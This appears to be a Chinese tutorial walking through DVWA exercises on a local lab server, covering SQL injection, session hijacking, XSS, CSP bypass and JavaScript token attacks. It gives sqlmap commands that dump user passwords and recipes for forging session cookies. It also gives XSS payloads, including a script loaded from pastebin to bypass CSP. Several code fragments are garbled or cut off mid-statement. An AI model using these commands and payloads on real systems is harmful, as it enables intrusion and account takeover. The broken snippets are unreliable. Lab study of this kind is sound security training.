sqlmap -u "http://192.168.188.161/DVWA/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hb725lmgsoflilokq678deqqpv" --second-url "http://192.168.188.161/DVWA/vulnerabilities/sqli_blind/cookie-input.php" -D dvwa -T users --columns
sqlmap -u "http://192.168.188.161/DVWA/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hb725lmgsoflilokq678deqqpv" --second-url "http://192.168.188.161/DVWA/vulnerabilities/sqli_blind/cookie-input.php" -D dvwa -T users -C user,password --dump
这一级别加入了token验证,使用bp抓包来获取
其余过程同上
sqlmap -u "http://192.168.188.161/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit&user_token=51bfd9beffb8b3ddd7884d5f979254e4" --cookie="security=impossible;PHPSESSID=hb725lmgsoflilokq678deqqpv" -D dvwa -T users -C user,password --dump
Session简介:
用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带Session去访问即可。
sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权限,无需录直接进入特定用户界面,进而进行其他操作。
用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到Session id就会加密后保存到 cookies 上,之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃。
Session利用的实质:
由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。
Session劫持:
就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验。
注意:session id 过于简单就会容易被人伪造。根本都不需要知道用户的密码就能访问,用户服务器的内容了。
查看源码:
$html = "";
#判断是否为POST请求
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0; #初始值为0
}
$_SESSION['last_session_id']++; #每次自增+1
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>
相关函数:
low级别未设置过滤,直接用bp抓包,可以清楚的看到dvwaSesion的cookie,每重放一次,dvwaSesion增加一:
构造payload
payload:通俗一点讲,在程序的世界里,payload(有效载荷)就是对于接收者有用的数据。
在计算机安全领域中,“payload”(载荷)是指一段恶意代码或攻击者注入的任意代码,旨在利用存在的漏洞、弱点或系统功能来执行特定的操作。可以将其类比为病毒或炸弹携带的有害物质。
攻击者在设计"payload" 时,通常会充分利用已知的漏洞或弱点。通过触发这些漏洞或弱点,攻击者可以执行各种操作,如获取管理员权限、窃取敏感数据、控制目标系统、传播恶意软件等。
payload:dvwaSession=2; security=low; PHPSESSID=c75dm3sgj8juj5heeem1n713nk
清除浏览器的cookie缓存,然后打开一个新网页,在HackBar里面输入url和构造的payload(cookie),其实只需要cookie就可以。
清除缓存
发现火狐浏览器没有登录过DVWA,但通过这个session,却绕过了输入账号密码的过程,直接登录进来。
补充:
HackBar是Firefox提供的插件,HackBar功能类似于地址栏,但是它里面的数据不受服务器的相应触发的重定向等其它变化的影响。功能有网址的载入访问,联合查询,各种编码,数据加密功能等。HackBar可以帮助我们测试SQL注入,XSS漏洞和网站的安全性,主要是帮助渗透测试人员做代码的安全审计,检查代码,寻找安全漏洞。
查看源码:
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>
使用了时间戳,但是攻击者依然可以伪造。
直接用bp抓包,查看Cookie
要用的时间转换网站 时间戳(Unix timestamp)转换工具 - 在线工具。
payload:dvwaSession=1691150584; security=medium; PHPSESSID=s8h5qqfsah1uano105t79dbi9d
清除浏览器的cookie缓存,然后打开一个新网页,在HackBar里面输入url和构造的payload(cookie)。
查看源码:
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']); #加了MD5摘要
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
?>
进行了MD5摘要只需将摘要值的原值找到即可知道它的cookie的产生规律,然后就可用伪造了
直接用bp抓包, 每Send一下,md5的值就会发生改变。
使用MD5的网站 md5在线解密破解,md5解密加密
也是每次加1。把数字3进行MD5加密得到:eccbc87e4b5ce2fe28308fd9f2a7baf3
构造payload
payload:dvwaSession=eccbc87e4b5ce2fe28308fd9f2a7baf3; security=high; PHPSESSID=vuga1b84sqa7v6rogpn05rvh47
XSS(DOM)是一种基于DOM树的一种代码注入攻击方式,可以是反射型的,也可以是存储型的,所以它一直被划分第三种XSS。与前两种XSS相比,它最大的特点就是不与后台服务器交互,只是通过浏览器的DOM树解析产生。除了js,flash等脚本语言也有可能存在XSS漏洞。
原理:
XSS又叫跨站脚本攻击。他指的是恶意攻击者往web页面插入恶意html代码,当用户浏览该页面之时,嵌入其中web的html代码会被执行,从而达到恶意的特殊目的。
DOM是JS操作网页的接口,全称为“文档对象模型”(Document Object Model)。它的作用是将网页转为一个JS对象,从而可以用脚本进行各种操作(比如增删内容)。
XSS漏洞分为三类:
DOM型:攻击者利用页面中的 JavaScript 代码处理过程中的漏洞,修改了页面的 DOM 结构,使恶意脚本被执行。区别于存储型和反射型 XSS,DOM-based XSS 不需要向服务器发送请求。
反射型XSS:非持久化,反射型XSS漏洞是指通过构造特制的URL,将恶意脚本代码注入到目标网站的响应中。当用户点击包含恶意代码的恶意链接时,恶意代码会被传递到目标网站,然后在用户的浏览器中执行。与存储型XSS漏洞不同,反射型XSS漏洞的恶意代码并不保存在目标网站的数据库中,而是通过URL直接传递。
存储型XSS:持久化,存储型XSS漏洞是指攻击者将恶意脚本代码存储在目标网站的数据库中,通常在用户提交的表单数据中注入恶意代码。当其他用户浏览到包含恶意代码的页面时,脚本代码会被执行,导致攻击者能够获取用户的敏感信息或执行恶意操作。
DOM型
查看源码:
没有任何过滤、只是将表单的输入打印出来,那就意味着可以在url中输入JavaScript脚本来执行。
<script>alert('xss')script>
DOM型
查看源码
// Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { $default = $_GET['default']; # Do not allow script tags if (stripos ($default, " 的结果:
测试是否有XSS漏洞,会发现只显示 > 前面所有字符被过滤。恶意代码通过URL直接传递
此时查看网页源代码可以在网页前端代码发现刚刚输入的JS代码已经被写入了:
10.2 Medium级别
查看源码:
header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '
会发现alert语句没有被执行,因为不再被当成标签而被过滤了:
方式三:使用非
输入
结果:
10.4 Impossible级别
查看源码:
源码分析:
impossible级别的代码先判断name是否为空,不为空的话然后验证其token,来防范CSRF攻击。然后再用htmlspecialchars函数将name中的预定义字符 “<” (小于)和 “>” (大于)转换成html实体,这样就防止了填入标签。
所输入 时,因为 htmlspecialchars 函数会将 < 和 > 转换成html实体,并且
${name}
取的是$name
的值,然后包围在标签
中被打印出来,所以插入的语句并不会被执行:
说明:HTML实体是浏览器用来代替特殊的字符的一种代码。有时候需要在文档内容中这些字符,但是不想让它们作为HTML被处理,为此应该使用这些实体。
查看源代码,表单提交的过程中,把user_token也一并提交了,来和服务器端的session_token做验证,防止CSRF攻击。输入的代码直接被当成html文本给打印出来了,并不会被当成js脚本执行。
存储型XSS:持久化,存储型XSS漏洞是指攻击者将恶意脚本代码存储在目标网站的数据库中,通常在用户提交的表单数据中注入恶意代码。当其他用户浏览到包含恶意代码的页面时,脚本代码会被执行,导致攻击者能够获取用户的敏感信息或执行恶意操作。
存储型XSS漏洞可能存在的环境:
存储型XSS一般出现在网站留言板、评论、等可以与服务器交互的位置,在DVWA-XSS(Stored)模块中模拟了一种评论留言的留言板
查看源码:
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
//mysql_close();
}
?>
说明:
在Message输入
<script>alert('芜湖')script>
这里是输入在message输入框里面的,name输入框是限制长度的,其实这个长度限制如果仅仅是在html中控制,是可以修改的。
F12打开源代码,name输入框maxlength是10,直接把maxlength的值改成100。
这样就可以绕开输入框长度的html标签属性限制,把完整的标签输入进去
查看数据库,可以看到代码插入进数据库了。
查看源码:
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( ' ,strip_tags函数把
";
}
$page[ 'body' ] .= '
';
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;";
这句语句就可以看出以下外部资源网站可以被执行:
https://pastebin.com
hastebin.com
example.com
code.jquery.com
https://ssl.google-analytics.com
访问https://pastebin.com/
,可以在New Paste中写下代码,点击create去创建链接:
点击raw:
复制出现的链接。
https://pastebin.com/raw/cxu4i7fx
CSP页面的输入框输入刚才复制的链接:
查看源码发现
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
#
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
';
输入源码中的注释内容#
,发现可以直接弹窗:
接下来查看CSP信息:
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
unsafe-inline:当csp有Unsafe-inline时,并且受限于csp无法直接引入外部js,不过当frame-src为self,或者能引入当前域的资源的时候,即有一定可能能够引入外部js。nonce-source,仅允许特定的内联脚本块。如源码中:nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=',所以直接输入源码中注释的内容就可以了。
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)script>
补充:
- 特定的内联脚本块是指HTML文档中直接嵌入在页面中的JavaScript代码段。它们通常位于 ';
这里可以看到除了自身,其余的外部资源全部过滤了。
$headerCSP = "Content-Security-Policy: script-src 'self';"
说明:$headerCSP 是指 Content Security Policy (内容安全策略) 的缩写,它是一种通过定义网页中所允许加载的资源源和执行的脚本类型来增加网站安全性的策略。通过使用 CSP,网站管理员可以限制与网页交互的元素,从而减少潜在的安全漏洞,如跨站脚本攻击 (XSS) 和数据注入攻击。CSP 可以在网页的响应头部设置,通过定义策略即可实现对特定资源的限制。
查看
source/high.js
源码:在点击网页的按钮使 js 生成一个 script 标签,src 指向
source/jsonp.php?callback=solveNum
。流程如下:
点击按钮,js 生成一个 script 标签(src 指向 source/jsonp.php?callback=solveNum),并把它加入到 DOM 中。
源码中定义了 solveNum 的函数,函数传入参数 obj,如果字符串 “answer” 在 obj 中就会执行。getElementById() 方法可返回对拥有指定 ID 的第一个对象的引用,innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML。因此 script 标签会把远程加载的 solveSum({“answer”:“15”}) 当作js代码执行,而这个形式正好就是调用了 solveSum 函数。
然后这个函数就会在界面适当的位置写入答案。
可以对
s.src = "source/jsonp.php?callback=solveSum";
进行修改。方式一:
使用bp抓包并修改
s.src = "source/jsonp.php?callback=alert('xss');";
方式二:
使用HackBar发送post提交
include=<script src="source/jsonp.php?callback=alert('xss');">script>
13. JavaScript Attacks
JavaScript Attack即JS攻击,攻击者可以利用JavaScript实施攻击。
13.1 Low级别
核心源码,用的是dom语法这是在前端使用的和后端无关,然后获取属性为phrase的值然后来个rot13和MD5双重加密在复制给token属性。
<script> function rot13(inp) { return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);}); } function generate_token() { var phrase = document.getElementById("phrase").value; document.getElementById("token").value = md5(rot13(phrase)); } generate_token(); script>
直接提交success发现无效
所以提交的虽然是success但是token还是ChangeMe的因为generate_token()方法不会自动执行他需要调用,这时只需要在前端调用generate_token()方法生成相应token就行
页面源代码中token的值由md5(rot13(phrase))决定的。
通过console控制台直接拿到token值。
md5(rot13("success"));
38581812b435834ebf84ebcc2c6424d6
使用bp抓包然后修改数据包中的token值即可。
13.2 Medium级别
核心源码:
$page[ 'body' ] .= <<<EOF <script src="/vulnerabilities/javascript/source/medium.js"></script> EOF; ?>
medium.js:
// 对token进行加密处理(逆序处理) function do_something(e){ for(var t="",n=e.length-1;n>=0;n--)t+=e[n]; return t } // 延时3秒后,执行do_elsesomething方法 setTimeout(function(){ do_elsesomething("XX") },300); // 将加密处理后的token值,赋给input输入框中的token,用于提交给后端 function do_elsesomething(e){ document.getElementById("token") .value=do_something(e+document.getElementById("phrase") .value+"XX") }
原理和Low一样,只是加密方法被更换了,那步骤应该就是:
1、将输入框的值改为success
2、在前端控制台执行一次do_elsesomething()方法,执行代码为:do_elsesomething(“XX”);
do_something(e)方法是将phrase变量的值逆序,也就是sseccus,生成的token值=XXsseccusXX
使用bp将输入框的值改为XXsseccusXX。
13.3 High级别
核心源码:
查看high.js,但是这里的代码明显被加密混淆了。
可以使用在线解码工具:http://deobfuscatejavascript.com/#。
核心源码:
function do_something(e) { for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n]; return t } function token_part_3(t, y = "ZZ") { document.getElementById("token") .value = sha256(document.getElementById("token").value + y) } function token_part_2(e = "YY") { document.getElementById("token") .value = sha256(e + document.getElementById("token").value) } function token_part_1(a, b) { document.getElementById("token") .value = do_something(document.getElementById("phrase").value) } document.getElementById("phrase").value = ""; setTimeout(function() { token_part_2("XX") }, 300); document.getElementById("send").addEventListener("click", token_part_3); token_part_1("ABCD", 44);
几个函数调用顺序及生成token的步骤如下:
- 首先将phrase 的值清空document.getElementById(“phrase”).value = “”;
- 然后执行token_part_1(a, b),取phrase值并进行字符串翻转(逆序)处理。
- 延迟300ms后执行token_part_2(e = “YY”),传入参数字符串’XX’和token值拼接并调用sha256()加密。
- 点击按钮时执行token_part_3(t, y = “ZZ”),将token值和字符串’ZZ’拼接并调用sha256()加密,从而得到最终的token。
在输入框输入 success 后,再到控制台输入token_part_1(“ABCD”, 44)和token_part_2(“XX”)这两个函数,最后点击按钮执行token_part_3()
成功获得正确 token。